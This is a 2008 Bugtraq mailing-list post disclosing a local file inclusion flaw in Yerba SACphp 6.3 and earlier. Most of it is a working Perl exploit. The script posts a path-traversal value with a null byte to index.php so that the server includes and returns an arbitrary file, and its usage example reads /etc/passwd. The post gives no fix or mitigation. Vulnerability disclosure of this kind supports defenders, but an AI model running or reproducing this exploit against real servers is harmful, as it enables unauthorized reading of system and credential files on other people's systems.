Yerba SACphp <= 6.3 / Local File Inclusion Exploit
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugtraq-owner@xxxxxxxxxxxxxxxxx
- Subject: Yerba SACphp <= 6.3 / Local File Inclusion Exploit
- From: Pepelux <pepelux@xxxxxxxxxxxx>
- Date: Tue, 7 Oct 2008 01:12:02 +0200
- Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:sender :to:subject:mime-version:content-type:content-transfer-encoding :content-disposition:x-google-sender-auth; bh=nHsu2DiZtIzwhKJYY7j86Q6TxAhcLKOlX3qrhTPwnnY=; b=MCJvwWN8j6lTvnLn6TUQ06gK1ki25ZulvC/wtJDMt3bgZGuOIu0f7SKp1HlrM3bqrA gmEC2Kp2Ff+XiYxoeBa2Uh4k/ICgyAaIBb4C0tcapn49hP4zGuKh5APD9vpLzMLPk+PV PdqdrpGHOolBLWbeNP2OjM7mLXgHPN875O5Yk=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:sender:to:subject:mime-version:content-type :content-transfer-encoding:content-disposition:x-google-sender-auth; b=EDwe7daJqBFY20rVzAriU0oU6xlP1kj3bZy9lek6UalrG9PfMj2QRQmUIdZvDXlDKP RGO9ndxbGiemjeOV2OQUAQnnxGWvvlxPn914FG1y5vTL67lgvNMGS9SNg9A6cv8Z6x1N sTrDFE6AqCS9/GyWg4BwETRUH9bMvi0XgNiwI=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
- Sender: pepeluxx@xxxxxxxxx
#! /usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Yerba SACphp <= 6.3 / Local File Inclusion Exploit
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Program: Yerba SACphp
# Version: <= 6.3
# File affected: index.php
# Download: http://sourceforge.net/projects/yerba/
#
#
# Found by Pepelux <pepelux[at]enye-sec.org>
# eNYe-Sec - www.enye-sec.org
#
# Bug:
# 37- include("modulos/$mod/mod_nucleo.php");
use LWP::UserAgent;
use HTTP::Request::Common;
my ($host, $file) = @ARGV ;
unless($ARGV[1]){
print "\nUsage: perl $0 <host> <file_to_edit>\n";
print "\tex: perl $0 http://localhost /etc/passwd\n\n";
exit 1;
}
$host = 'http://'.$host if ($host !~ /^http:/);
$host .= "/" if ($host !~ /\/\$/);
my $ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)
Gecko/2008072820 Firefox/3.0.1");
$ua->timeout(10);
my $request = HTTP::Request->new();
my $response;
my $url = $host."index.php";
my $req = HTTP::Request->new(POST => $host."index.php");
$req->content_type('application/x-www-form-urlencoded');
$req->content("mod=../../../../../".$file."%00");
$request = $ua->request($req);
$result = $request->content;
$result =~ s/<[^>]*>//g;
print $result . "\n";
exit;